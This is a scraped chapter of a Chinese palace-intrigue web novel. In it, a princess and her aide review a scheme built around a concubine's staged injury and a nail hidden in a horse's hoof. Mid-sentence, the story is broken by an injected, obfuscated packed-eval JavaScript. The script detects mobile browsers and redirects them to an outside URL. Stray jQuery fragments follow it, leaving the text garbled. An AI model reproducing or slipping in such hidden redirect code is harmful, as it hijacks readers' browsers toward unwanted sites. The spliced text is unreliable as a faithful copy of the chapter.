123读书网 > 都市小说 > 穿成公主的我登基了 > 120. 第 120 章
    “南星最开始也怀疑,故而逼问出,陈侧妃入衡山王府几年都不曾有孕,先下朝廷遴选新帝之际这般凑巧有喜,确实是她计划的结果,即便战事等不及她府中孩儿呱呱落地,但她帮王府费心谋划将大公子送上去,她的孩儿也可以轻松获取衡山王府的爵位。”


    “只可惜给她助孕药,承诺能保生男孩的郎中是个骗子,她有孕两月时王府中医官把脉判断其腹中大概率是个女孩,如今她有孕四月余,也问过随军医令,应是女孩儿无疑。”


    荣晞细细回忆了一下,“她好像从未明说过怀的是男孩,但衡山王及其府下僚属似乎都认定是为小公子。”


    “是的!衡山王府等这第二个男孩能了好久,陈侧妃声称,若不是如今机会实在难得,她是不愿意做这第二个怀孕之人的。可现在木已成舟,她只能以身犯险,为她自己和孩子谋个前程。”


    荣晞了然,“二公子没有了,所以大公子必不能出继给大行皇帝,要留下继王府爵位。她一来时便说过她同大公子生母交好,而王妃害死了孩子生母还想抢夺孩子抚养权,衡山王听进去了定不会放任,而她随之会变成最适合抚养大公子的人选。”


    “而她这回奋力一搏,这么凶险的情况,她和孩子却平平安安的活了下来,固然有医令医术高超的功劳在,但也可堪称奇迹,不是祖宗庇佑,便是腹有祥瑞,即便是个女孩,也让人很难不生出喜爱之情!”


    “更何况她受了伤,正能引得衡山王怜惜,又查出导致她受伤险些小产的疯马,是被衡山王马鞍上掉落的杏叶钉所上,阴差阳错险些害了自己的女人和孩子,衡山王怎会不愧疚?你又很了解本宫,算好本宫要处置衡山王,便又让陈侧妃出言为衡山王求情,喜爱,愧疚再加上一层感激,陈侧妃从此在衡山王府,地位再不可撼动!”


    荣晞感叹:“真是好缜密的计策,好厉害的女人!”把所有人的反应都计算了进去,包括她这个朝廷的公主。


    可惜是衡山王的内眷,又有一个血脉相连的羁绊,即便这次算计了衡山王,也是在不损害衡山王府大体利益的情况下,为自己谋前程。要想让人彻底背弃衡山王府,来为她做事,怕是不太可能。


    南星还有些忐忑,殿下不让她跪,便低头不敢看面前人的神色,小心解释道:“并无利用殿下的意思,本该同殿下通个气,但殿下今晨一直在车骑将军的站车里南星没寻到机会,也不敢派人去传话担心引人怀疑,我们昨夜已经趁夜黑风高,将道路外侧的石子铺好了;钉子今日天还未明前,也藏进了渔阳王四公子爱驹马掌底的盲眼里,一走过这条路,那马因接连的颠簸和震荡,钉子必定穿透角质层,扎入蹄心软肉。


    故而,即便我们还未来得及通知殿下,心下焦急,也拖延不得了,只能继续按计划进行。幸好殿下聪颖绝路,想是已经猜到是属下等使的手段,没让千牛卫小将军们继续往下查!”


    “行军仓促,也没出人命,查到这个程度恰到好处,几个王爷也不会愿意让本宫继续查下去的!”


    跟在荣晞身后的千牛卫便秘的脸色持续很久了,此时终于按耐不住,开口道:“属下疏忽大意,请殿下降罪!但,属下确未察觉什么异常,还请殿下,和南星姑娘指点!”


    荣晞有些忍俊不禁,“不怪你!她们这个计策胜就胜在,此地是边境,而不是在京畿,若在京畿,牵涉此案,一开始便不会往意外的方向查,必定牵扯甚广。侧妃身边的仆役,为她看诊的医官药童,给渔阳王四公子和衡山王养马的仆役,清道的前行官等一大片人都会被盘问到,你和军医没能从亡马身上探查到异样,却瞒不过经验老道的仵作,很快便能发现有人暗中做手脚。”


    南星补充道:“本来钉子放到行径的路上留下的痕迹会更少,但我们对渔阳王四公子或者弘农王二公子的马不太熟悉,难以判断它落脚的习惯,有计划失败或被别的马踩上的可能,故而我等直接将钉子嵌入马掌中控层的盲眼里,外面用马粪泥抹平掩盖痕迹,又在其必经之路上铺满小而坚硬的石子,马跑起来一步步强烈短促的震击砸地,钉子很快就会刺入软弱,可不得发疯?”


    见公主好像没有怪罪的意思,南星也自信了不少,“钉子埋在马蹄外侧边缘,马一痛必定条件反射往外撇,身体向内侧压;而之前糊在外面做掩饰的马粪泥,应该也随着跟石子的摩擦而脱落了,再加上根据军中惯例,只要几个王爷没有第一时间产生怀疑来探查,等那马被宰杀,证据便彻底湮灭。


    即便他们事后反应过来怀疑不是单纯的意外,也只会揣测是否是衡山王以亲为饵,自残骨肉,构陷宗亲,无论如何怀疑不到我们头上。毕竟谁能想到会是能接触到他马鞍而丝毫不受怀疑,此案中最无辜最可怜的侧妃娘娘亲自布的局呢?”


    千牛卫打了个哆嗦,他们虽在宫禁中当差多年,但后宫的女人的阴谋诡计没有这么吓人的呀!这俩女人怎么玩的这么大?!


    荣晞有些五味陈杂,她明显感觉到南星确实成长了,但这个成长方向,怎么感觉比宫闱内院时,更会耍这些绵里藏针的暗箭机关呢?她是不是跟陈侧妃学坏了?


    “你们做得很好!”荣晞语气有点复杂,她已经记不清最开始放南星出来的目地是什么了,也不清楚她现在这样是好是坏,她迅速从带着刺的娇弱玫瑰,成长为披着兔子皮的眼镜王蛇,不过别人要是再想欺负她应当是不可能了,这样看来也算是好事吧!


    “如果不出本宫意外,渔阳王四公子和弘农王二公子,今日会忽然拌起嘴,相争纵马也是你们安排人从旁挑唆的吧?”


    “殿下英明!”计划比预想的还要成功,南星难免得意,但在荣晞面前依旧恭谨,不敢轻狂,“殿下放心,挑唆之人本身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223110|188710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    性格便是如此,性格急躁又管不住嘴,对王侯公子缺乏恭敬之心。南星也并未亲自露面接触,只是将人行军的位置稍作调换,安排在了两位公子身边罢了!”


    真是心细如发的缜密啊!


    南星悄悄瞟了眼荣晞的神色,犹豫了片刻试探道:“只是没想到渔阳王会对自己的儿子这般苛责,听闻渔阳王四公子罚得极重。殿下,似乎还算欣赏此人?”


    渔阳王确是果断到冷漠,“那孩子是可惜了些!”若是早一些发现,换一个人谋划也未尝不可,再成长几年也是清风朗月,风骨凛然的名臣苗子,不受渔阳王看中,或许能为她所用。


    南星叹了口气,“渔阳王平日里一副温和慈善的模样,真想不到是这般冷心冷肺的性子,若是再了解一些,我们的计划还要再调整一下才是!现在牺牲了一个儿子,却让军中看到了刚正不阿,不惜大义灭亲!


    南星瞧着,似乎衡山王很是受用,明明应该三家对立的情况,现在渔阳王竟丝毫看不出对衡山王有所不满的意思,衡山王也对渔阳王严惩亲子的举动俘获,还有点歉疚欣赏的意味。”南星搞这么一出,可不是让他们惺惺相惜的!


    说着有些恼怒,“还是时间太紧了,若还有时间南星定能筹划得更完美!”


    “过犹不及,现在情况已经很不错了,不用太过苛责自己!”荣晞轻声宽慰,“渔阳王虽在衡山王那里非常立得住脚,但将冷库一面展现在军中人和他的臣属面前,未必是好事。”


    “现如今众人只是被他骤然大义灭亲的举动震慑到了,会短暂的更尊敬他,但军中人最讲情义,儿子明明没有大错,却要遭受这样严厉的惩处,他们夜半静静想来,必会觉得渔阳王太过冷酷无情。更不要说他的臣属,一个素来乖巧从不忤逆的亲生儿子,甚至都不是自己犯错,只是被意外波及,就这么轻易被放弃,还有谁会愿意摒弃生死,全心全力为他效忠?”


    “嫌隙已经扎下了,不需要我们在做什么,静待他越裂越大就是了!”


    南星也瞬间转过弯来,轻松了下来,笑道:“殿下说得是,是南星钻牛角尖了!”


    “那孩子似乎不是渔阳王正妃所出?府上可有母亲外家照料帮扶?”


    千牛卫的资料库中收集着所有诸侯王府人际关系情报,“并无,渔阳王府除了正妃,没有能说得上话的妾室,子嗣都由正妃统一照料教导,四公子的生母在他年少时便病故了。”


    “渔阳王府子嗣不算少,除了嫡出皆是婢生子?王妃一个人照料得来?”荣晞诧异,但她也没有打听别人家家务事的心思,“那他被罚没了半年的俸禄,这禁足的两年怕是不太好过。留意一下他什么时候南返,给他拿十两银子送去。”


    渔阳王这般刻板的样子,也不知道会不会给孩子回去的路资,可别饿死在路上了。


    “是!”